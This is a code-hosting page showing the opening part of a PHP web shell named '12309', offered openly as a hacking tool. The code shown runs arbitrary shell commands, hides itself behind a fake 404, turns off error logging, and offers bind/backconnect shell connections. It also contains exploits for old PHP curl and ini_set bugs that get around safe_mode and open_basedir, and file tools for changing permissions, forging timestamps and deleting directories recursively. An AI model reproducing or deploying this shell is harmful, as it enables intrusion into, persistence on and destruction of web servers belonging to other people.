PageRenderTime 68ms CodeModel.GetById 26ms RepoModel.GetById 1ms app.codeStats 0ms

/12309.php

http://github.com/kairn/12309.php
PHP | 2066 lines | 2018 code | 0 blank | 48 comment | 424 complexity | 967dc4a0d0f104b52cd5fcd9581c9e06 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php
    2. 

  2. //th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
    3. 

  3. if(isset($_GET['pfs'])) {
    4. 

  4.  if(empty($_GET['path'])) {
    5. 

  5.   $path="./";
    6. 

  6.  } else {
    7. 

  7.   $path=$_GET['path'];
    8. 

  8.  }
    9. 

  9.  findsock($path);
    10. 

  10. }
    11. 

  11. @session_start();
    12. 

  12. if(isset($_REQUEST['l0g1n'])) {
    13. 

  13.  $_SESSION['l0g1n']=session_id();;
    14. 

  14. }
    15. 

  15. if(!isset($_SESSION['l0g1n'])) {
    16. 

  16.  header("Location: http://".$_SERVER['SERVER_NAME']."/404.html");
    17. 

  17. }
    18. 

  18. $ver="2.4";
    19. 

  19. // --------------------------------------------- globals 
    20. 

  20. @ini_set('display_errors',0);
    21. 

  21. @ini_set('log_errors',0);
    22. 

  22. @error_reporting(0);
    23. 

  23. @set_time_limit(0);
    24. 

  24. @ignore_user_abort(1);
    25. 

  25. @ini_set('max_execution_time',0);
    26. 

  26. $pageend='</body></html>';
    27. 

  27. $htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
    28. 

  28. if($_POST['action']!="") {
    29. 

  29.  $_SESSION['action']=$_POST['action'];
    30. 

  30.  $action=$_SESSION['action'];
    31. 

  31. } else {
    32. 

  32.  $action="viewer";
    33. 

  33. }
    34. 

  34. // download file or command execution result
    35. 

  35. if($action=="download" or $_POST["down"]=="on") {
    36. 

  36.  $download="1";
    37. 

  37. }
    38. 

  38. if ($download == "1") {
    39. 

  39.  if (isset($_POST["file"])) {
    40. 

  40.   header('Content-Length:'.filesize($_POST["file"]).'');
    41. 

  41.  }
    42. 

  42.  header("Content-Type: application/force-download");
    43. 

  43.  header("Content-Type: application/octet-stream");
    44. 

  44.  header("Accept-Ranges: bytes");
    45. 

  45.  if (isset($_POST["filename"])) {
    46. 

  46.   header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
    47. 

  47.  } elseif (isset($_POST["file"])) {
    48. 

  48.   header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
    49. 

  49.  } else {
    50. 

  50.   header('Content-Disposition: attachment; filename="result.txt"');
    51. 

  51.  }
    52. 

  52. }
    53. 

  53. @set_magic_quotes_runtime(0);
    54. 

  54. @ini_set("magic_quotes_runtime", 0);
    55. 

  55. // slashes fix by r00nix
    56. 

  56. if (get_magic_quotes_gpc()) {
    57. 

  57.  function stripslashes_deep($value) {
    58. 

  58.   $value = is_array($value) ?
    59. 

  59.    array_map('stripslashes_deep', $value) :
    60. 

  60.    stripslashes($value);
    61. 

  61.   return $value;
    62. 

  62.  }
    63. 

  63.  $_POST = array_map('stripslashes_deep', $_POST);
    64. 

  64.  $_GET = array_map('stripslashes_deep', $_GET);
    65. 

  65.  $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    66. 

  66.  $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
    67. 

  67. }
    68. 

  68. $descriptorspec = array(
    69. 

  69.  0 => array("pipe", "r"),
    70. 

  70.  1 => array("pipe", "w"),
    71. 

  71.  2 => array("pipe", "w")
    72. 

  72. );
    73. 

  73. $helpscript='function showTooltip(id)
    74. 

  74. {
    75. 

  75.  var myDiv = document.getElementById(id);
    76. 

  76.  if(myDiv.style.display == "none"){
    77. 

  77.   myDiv.style.display = "block";
    78. 

  78.  } else {
    79. 

  79.   myDiv.style.display = "none";
    80. 

  80.  }
    81. 

  81.  return false;
    82. 

  82. }';
    83. 

  83. $resizescript='function changeSize(elem){
    84. 

  84.  if(event.keyCode==13){
    85. 

  85.   elem.rows = elem.rows+1;
    86. 

  86.  }
    87. 

  87.  var oldrows = getrows(elem);
    88. 

  88.  var myTxtAreaSize = elem.value.length;
    89. 

  89.  var newrows = (myTxtAreaSize / 80 | 0)+1;
    90. 

  90.  if(newrows>oldrows){
    91. 

  91.   elem.rows = newrows;
    92. 

  92.  } else {
    93. 

  93.   elem.rows = oldrows;
    94. 

  94.  }
    95. 

  95. }
    96. 

  96. function getrows(elem){
    97. 

  97.  var text = elem.value.replace(/\s+$/g, "\n");
    98. 

  98.  var aNewlines = text.split("\n");
    99. 

  99.  var iNewlineCount = aNewlines.length;
    100. 

  100.  return iNewlineCount;
    101. 

  101. }';
    102. 

  102. $design='function cleard() {
    103. 

  103.  document.cookie="d=c; path=/;";
    104. 

  104.  window.location.reload();
    105. 

  105. }
    106. 

  106. function blackd() {
    107. 

  107.  document.cookie="d=b; path=/;";
    108. 

  108.  window.location.reload();
    109. 

  109. }';
    110. 

  110. if ($_COOKIE['d'] != "c") {
    111. 

  111.  $style='<style type="text/css">
    112. 

  112.  a {
    113. 

  113.   color: yellow;
    114. 

  114.   text-decoration: none;
    115. 

  115.   text-shadow: black 0px 0px 4px;
    116. 

  116.  }
    117. 

  117.  input {
    118. 

  118.   background-color: #303030;
    119. 

  119.   color: #73ba25; /* guess why */
    120. 

  120.   border: none;
    121. 

  121.  }
    122. 

  122.  textarea {
    123. 

  123.   background-color: #303030; 
    124. 

  124.   color: #73ba25;
    125. 

  125.   border: none;
    126. 

  126.  }
    127. 

  127.  input[type="submit"] {
    128. 

  128.   background-color: gray;
    129. 

  129.   color: white;
    130. 

  130.  }
    131. 

  131.  select {
    132. 

  132.   background-color: black; 
    133. 

  133.   color: yellow;
    134. 

  134.  }
    135. 

  135.  body {
    136. 

  136.   background-color: black;
    137. 

  137.   color: white; 
    138. 

  138.  }
    139. 

  139.  </style>';
    140. 

  140. } else {
    141. 

  141.  $style='';
    142. 

  142. }
    143. 

  143. if ($_COOKIE['d'] == "c") {
    144. 

  144.  $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
    145. 

  145.  } else {
    146. 

  146.  $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
    147. 

  147. }
    148. 

  148. $title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    149. 

  149. <!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
    150. 

  150. <html>
    151. 

  151.  <head>
    152. 

  152.   <title>12309 '.$ver.'</title>
    153. 

  153.   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
    154. 

  154. // --------------------------------------------- symbolic permissions 
    155. 

  155. function fperms($file,$request) {
    156. 

  156.  $perms = fileperms($file);
    157. 

  157.  if (($perms & 0xC000) == 0xC000) {$info = 's';}
    158. 

  158.  elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} 
    159. 

  159.  elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
    160. 

  160.  elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
    161. 

  161.  elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
    162. 

  162.  elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
    163. 

  163.  elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
    164. 

  164.  else {$info = '?';}
    165. 

  165.  if ($request == "string") {
    166. 

  166.   $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    167. 

  167.   $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    168. 

  168.   $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    169. 

  169.   return $info;
    170. 

  170.  } elseif ($request == "array") {
    171. 

  171.   $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
    172. 

  172.   $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
    173. 

  173.   $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
    174. 

  174.   return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
    175. 

  175.  } else {
    176. 

  176.   return "request?";
    177. 

  177.  }
    178. 

  178. }
    179. 

  179. function view_perms_color($file) {
    180. 

  180.  if (!is_readable($file)) {
    181. 

  181.   return "<font color=red>".fperms($file,"string")."</font>";
    182. 

  182.  } elseif (!is_writable($file)) {
    183. 

  183.   return "<font color=white>".fperms($file,"string")."</font>";
    184. 

  184.  } else {
    185. 

  185.   return "<font color=green>".fperms($file,"string")."</font>";
    186. 

  186.  }
    187. 

  187. }
    188. 

  188. // --------------------------------------------- touch file
    189. 

  189. function touchz($file) {
    190. 

  190.  $form=TRUE;
    191. 

  191.  if (isset($_POST["touch_submit"])) {
    192. 

  192.   $date=explode(" ",$_POST["time"]);
    193. 

  193.   $day=explode("-",$date[0]);
    194. 

  194.   $time=explode(":",$date[1]);
    195. 

  195.   $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
    196. 

  196.   if (touch($file,$unixtime,$unixtime)) {
    197. 

  197.    $form = FALSE;
    198. 

  198.    echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    199. 

  199.   } else {
    200. 

  200.    echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    201. 

  201.   }
    202. 

  202.  }
    203. 

  203.  if ($form) {
    204. 

  204.   echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    205. 

  205.   <input type=\"hidden\" name=\"p\" value=\"f\">
    206. 

  206.   <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    207. 

  207.   <input type=\"hidden\" name=\"action\" value=\"touch\">
    208. 

  208.   <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    209. 

  209.   touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
    210. 

  210.   <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
    211. 

  211.   </table></form>";
    212. 

  212.  }
    213. 

  213.  return TRUE;
    214. 

  214. }
    215. 

  215. // --------------------------------------------- chmod code from c99 shell, updated by 12309
    216. 

  216. function chmodz($file) {
    217. 

  217.  $check = fileperms($file);
    218. 

  218.  if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
    219. 

  219.  else {
    220. 

  220.   $form=TRUE;
    221. 

  221.   if (isset($_POST["chmod_submit"])) {
    222. 

  222.    $chmod_o=$_POST["chmod_o"];
    223. 

  223.    $chmod_g=$_POST["chmod_g"];
    224. 

  224.    $chmod_w=$_POST["chmod_w"];
    225. 

  225.    $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
    226. 

  226.    if (chmod($file,octdec($octet))) {
    227. 

  227.     $form = FALSE; 
    228. 

  228.     echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    229. 

  229.    } else { 
    230. 

  230.     echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    231. 

  231.    }
    232. 

  232.   }
    233. 

  233.   if (isset($_POST["chmod_string"])) {
    234. 

  234.    if (chmod($file,octdec($_POST["string"]))) {
    235. 

  235.     $form = FALSE;
    236. 

  236.     echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    237. 

  237.    } else { 
    238. 

  238.     echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    239. 

  239.    }
    240. 

  240.   }
    241. 

  241.   if ($form) {
    242. 

  242.    $perms = fperms($file,"array");
    243. 

  243.    echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
    244. 

  244.    <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    245. 

  245.    <input type=\"hidden\" name=\"p\" value=\"f\">
    246. 

  246.    <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    247. 

  247.    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    248. 

  248.    <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    249. 

  249.    <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
    250. 

  250.    <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
    251. 

  251.    echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    252. 

  252.    <input type=\"hidden\" name=\"p\" value=\"f\">
    253. 

  253.    <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    254. 

  254.    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    255. 

  255.    <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    256. 

  256.    <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
    257. 

  257.    <tr>
    258. 

  258.     <td><b>Owner</b><br>
    259. 

  259.      <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
    260. 

  260.      <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
    261. 

  261.      <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
    262. 

  262.     </td>
    263. 

  263.     <td><b>Group</b><br>
    264. 

  264.      <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
    265. 

  265.      <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
    266. 

  266.      <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
    267. 

  267.     </td>
    268. 

  268.     <td><b>World</b><br>
    269. 

  269.      <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
    270. 

  270.      <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
    271. 

  271.      <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
    272. 

  272.     </td>
    273. 

  273.    </tr>
    274. 

  274.    <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
    275. 

  275.    </table></form>";
    276. 

  276.   }
    277. 

  277.  }
    278. 

  278.  return TRUE;
    279. 

  279. }
    280. 

  280. // --------------------------------------------- clearing phpversion() 
    281. 

  281. function version() {
    282. 

  282.  $pv=explode(".",phpversion());
    283. 

  283.  if(eregi("-",$pv[2])) {
    284. 

  284.   $tmp=explode("-",$pv[2]);
    285. 

  285.   $pv[2]=$tmp[0];
    286. 

  286.  }
    287. 

  287.  $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
    288. 

  288.  return $php_version_sort;
    289. 

  289. }
    290. 

  290. // --------------------------------------------- recursive dir removal by Endeveit
    291. 

  291. function rmrf($dir)
    292. 

  292. {
    293. 

  293.  if ($objs = glob($dir."/*")) {
    294. 

  294.   foreach($objs as $obj) {
    295. 

  295.    is_dir($obj) ? rmrf($obj) : unlink($obj);
    296. 

  296.   }
    297. 

  297.  }
    298. 

  298.  if (rmdir($dir)) {
    299. 

  299.   return TRUE;
    300. 

  300.  } else {
    301. 

  301.   return FALSE;
    302. 

  302.  }
    303. 

  303. }
    304. 

  304. // --------------------------------------------- checking for enabled funcs
    305. 

  305. function function_enabled($func) {
    306. 

  306.  $disabled=explode(",",@ini_get("disable_functions")); 
    307. 

  307.  if (empty($disabled)) { 
    308. 

  308.   $disabled=array(); 
    309. 

  309.  } 
    310. 

  310.  else {  
    311. 

  311.   $disabled=array_map('trim',array_map('strtolower',$disabled)); 
    312. 

  312.  } 
    313. 

  313.  return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) ); 
    314. 

  314. }
    315. 

  315. if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
    316. 

  316.  $failflag="1";
    317. 

  317. } else {
    318. 

  318.  $failflag="0";
    319. 

  319. }
    320. 

  320. // -------------------------------------------- run command
    321. 

  321. function run($c) {
    322. 

  322.  if (function_enabled('shell_exec')) {
    323. 

  323.   shell_exec($c);
    324. 

  324.  } else if(function_enabled('system')) {
    325. 

  325.   system($c);
    326. 

  326.  } else if(function_enabled('passthru')) {
    327. 

  327.   passthru($c);
    328. 

  328.  } else if(function_enabled('exec')) {
    329. 

  329.   exec($c);
    330. 

  330.  } else if(function_enabled('popen')) {
    331. 

  331.   $fp=popen($c,'r');
    332. 

  332.   @pclose($fp);
    333. 

  333.  } else if(function_enabled('proc_open')) {
    334. 

  334.   $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
    335. 

  335.   while (!feof($pipes[1])) {
    336. 

  336.    $buffer.=fread($pipes[1],1024);
    337. 

  337.   }
    338. 

  338.   @proc_close($handle);
    339. 

  339.  }
    340. 

  340. }
    341. 

  341. // -------------------------------------------- php <= 5.2.9 curl bug
    342. 

  342. function sploent529($path) {
    343. 

  343.  if (!is_dir('file:')) {
    344. 

  344.   mkdir('file:');
    345. 

  345.  }
    346. 

  346.  $dirz=array();
    347. 

  347.  $a=array();
    348. 

  348.  $a=explode('/',$path);
    349. 

  349.  $c=count($a);
    350. 

  350.  $dir='file:/';
    351. 

  351.  $d=substr($dir,0,-1);
    352. 

  352.  if (!is_dir($d)) {
    353. 

  353.   mkdir($d); 
    354. 

  354.  }
    355. 

  355.  for ($i=0;$i<$c-1;++$i) {
    356. 

  356.   $dir.=$a[$i].'/';
    357. 

  357.   $d=substr($dir,0,-1);
    358. 

  358.   $dirz[]=$d;
    359. 

  359.   if (!is_dir($d)) {
    360. 

  360.    mkdir($d); 
    361. 

  361.   } 
    362. 

  362.  }
    363. 

  363.  if (!file_exists($path)) {
    364. 

  364.   $fp=fopen('file:/'.$path,'w');
    365. 

  365.   fclose($fp); 
    366. 

  366.  }
    367. 

  367.  $ch=curl_init();
    368. 

  368.  curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
    369. 

  369.  curl_setopt($ch,CURLOPT_HEADER,0);
    370. 

  370.  if(FALSE==curl_exec($ch)) {
    371. 

  371.   echo ("    fail :( either there is no such file or exploit failed ");
    372. 

  372.   curl_close($ch);
    373. 

  373.   rmrf('file:');
    374. 

  374.   echo $pageend;
    375. 

  375.   die();
    376. 

  376.  } else {
    377. 

  377.   curl_close($ch);
    378. 

  378.   rmrf('file:');
    379. 

  379.   return TRUE;
    380. 

  380.  }
    381. 

  381. }
    382. 

  382. // --------------------------------------------- php 5.1.6 ini_set bug
    383. 

  383. function sploent516() {
    384. 

  384.  //safe_mode check
    385. 

  385.  if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    386. 

  386.   ini_restore("safe_mode");
    387. 

  387.   if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    388. 

  388.    ini_set("safe_mode", FALSE);
    389. 

  389.    ini_set("safe_mode", "Off");
    390. 

  390.    ini_set("safe_mode", "0");
    391. 

  391.    if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    392. 

  392.     echo "<font color=\"red\">safe mode: ON</font><br>";
    393. 

  393.    } else {
    394. 

  394.     echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
    395. 

  395.    }
    396. 

  396.   } else {
    397. 

  397.    echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
    398. 

  398.   }
    399. 

  399.  } else {
    400. 

  400.   echo "<font color=\"green\">safe mode: OFF</font><br>";
    401. 

  401.  }
    402. 

  402.  //open_basedir check
    403. 

  403.  if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
    404. 

  404.   echo "open_basedir: none<br>";
    405. 

  405.  } 
    406. 

  406.  else {
    407. 

  407.   ini_restore("open_basedir");
    408. 

  408.   if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL ||  strtolower(ini_get("open_basedir"))=="none") {
    409. 

  409.    echo "open_basedir: none || hello php-5.1.6 bugs<br>";
    410. 

  410.   } 
    411. 

  411.   else {
    412. 

  412.    ini_set('open_basedir', '/'); 
    413. 

  413.    if (ini_get("open_basedir")=="/") {
    414. 

  414.     echo "open_basedir: / || hello php-5.1.6 bugs<br>";
    415. 

  415.    } 
    416. 

  416.    else {
    417. 

  417.     $basedir=TRUE;
    418. 

  418.    echo "open_basedir: ".ini_get("open_basedir");
    419. 

  419.    }
    420. 

  420.   }
    421. 

  421.  }
    422. 

  422. }
    423. 

  423. // --------------------------------------------- findsock
    424. 

  424. function findsock($path) {
    425. 

  425.  $VERSION = "1.0";
    426. 

  426.  echo "findsock start\n  ";
    427. 

  427.  $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
    428. 

  428.  run($c);
    429. 

  429.  echo "  exiting\n";
    430. 

  430.  exit();
    431. 

  431. }
    432. 

  432. // --------------------------------------------- search for binary
    433. 

  433. function search($bin,$flag) {
    434. 

  434.  if ($flag=="1") { 
    435. 

  435.   $path="";
    436. 

  436.   return $path;
    437. 

  437.  } else {
    438. 

  438.   if (function_enabled('shell_exec')) {
    439. 

  439.    $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
    440. 

  440.   } else if(function_enabled('exec')) {
    441. 

  441.    $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
    442. 

  442.   } else if(function_enabled('system')) {
    443. 

  443.    ob_start();
    444. 

  444.    system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
    445. 

  445.    $path=trim(ob_get_contents());
    446. 

  446.    ob_end_clean();
    447. 

  447.   } else if (function_enabled('popen')) { 
    448. 

  448.    $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
    449. 

  449.    $path=trim(stream_get_contents($hndl));
    450. 

  450.    pclose($hndl);
    451. 

  451.   } else if(function_enabled('passthru')) {
    452. 

  452.    ob_start();
    453. 

  453.    passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
    454. 

  454.    $path=trim(ob_get_contents());
    455. 

  455.    ob_end_clean();
    456. 

  456.   } else if(function_enabled('proc_open')) {
    457. 

  457.   $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
    458. 

  458.   $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
    459. 

  459.   if (is_resource($process)) {
    460. 

  460.    fwrite($pipes[0],$c);
    461. 

  461.    fclose($pipes[0]);
    462. 

  462.    $path=trim(stream_get_contents($pipes[1]));
    463. 

  463.    fclose($pipes[1]);
    464. 

  464.    fclose($pipes[2]);
    465. 

  465.    @proc_close($process);
    466. 

  466.    }
    467. 

  467.   }
    468. 

  468.  }
    469. 

  469.  return $path;
    470. 

  470. }
    471. 

  471. // --------------------------------------------- filemanager code by Grinay, updated by 12309
    472. 

  472. function owner($path) {
    473. 

  473.  $user=fileowner($path);
    474. 

  474.  $group=filegroup($path);
    475. 

  475.  $data=$user;
    476. 

  476.  if(function_enabled('posix_getpwuid')) {
    477. 

  477.   $u=posix_getpwuid($user);
    478. 

  478.   $data.=" (".$u["name"].")";
    479. 

  479.  }
    480. 

  480.  $data.=" <br> ".$group;
    481. 

  481.  if(function_enabled('posix_getgrgid')) {
    482. 

  482.   $g=posix_getgrgid($group);
    483. 

  483.   $data.=" (".$g["name"].")&nbsp;";
    484. 

  484.  }
    485. 

  485.  return $data;
    486. 

  486. }
    487. 

  487. function view_size($size) {
    488. 

  488.  if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
    489. 

  489.  elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
    490. 

  490.  elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
    491. 

  491.  else { $size=$size ." B"; }
    492. 

  492.  return $size;
    493. 

  493. }
    494. 

  494. function dirsize($path) { 
    495. 

  495.  $totalsize=0; 
    496. 

  496.  if ($handle=opendir($path)) { 
    497. 

  497.   while (false !== ($file = readdir($handle)))  { 
    498. 

  498.    $nextpath=$path . '/' . $file; 
    499. 

  499.    if ($file!='.' && $file != '..' && !is_link ($nextpath)) { 
    500. 

  500.     if (is_dir($nextpath)) { 
    501. 

  501.      $result=dirsize($nextpath); 
    502. 

  502.      $totalsize+=$result['size']; 
    503. 

  503.     } elseif (is_file($nextpath)) { 
    504. 

  504.      $totalsize+=filesize($nextpath); 
    505. 

  505.     } 
    506. 

  506.    } 
    507. 

  507.   } 
    508. 

  508.  } 
    509. 

  509.  closedir ($handle); 
    510. 

  510.  return $totalsize; 
    511. 

  511. }
    512. 

  512. function scandire($dir) {
    513. 

  513.  if (empty($dir)) { $dir=getcwd(); }
    514. 

  514.  $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>'.$pageend.'');
    515. 

  515.  $dir=getcwd()."/";
    516. 

  516.  $dir=str_replace("\\","/",$dir);
    517. 

  517.  if (is_dir($dir)) {
    518. 

  518.   if ($dh = opendir($dir)) {
    519. 

  519.    while (($file = readdir($dh)) !== false) {
    520. 

  520.     if(filetype($dir.$file)=="dir") $dire[]=$file;
    521. 

  521.     if(filetype($dir.$file)=="file" || filetype($dir.$file)=="link" || filetype($dir.$file)=="socket") $files[]=$file;
    522. 

  522.    // if(filetype($dir.$file)=="") $files[]=$file; //debug: strange behavior of filetype() with openbasedir, it returns ""
    523. 

  523.    // if(filetype($dir.$file)=="link") $files[]=$file;
    524. 

  524.    // echo "file = ".$file." (".filetype($file).")<br>"; #debug
    525. 

  525.    // if (is_link($file)) { echo " -&gt ".readlink($file); }; #debug
    526. 

  526.    }
    527. 

  527.    closedir($dh);
    528. 

  528.    @sort($dire);
    529. 

  529.    @sort($files);
    530. 

  530.    echo "<table border>";
    531. 

  531.    echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
    532. 

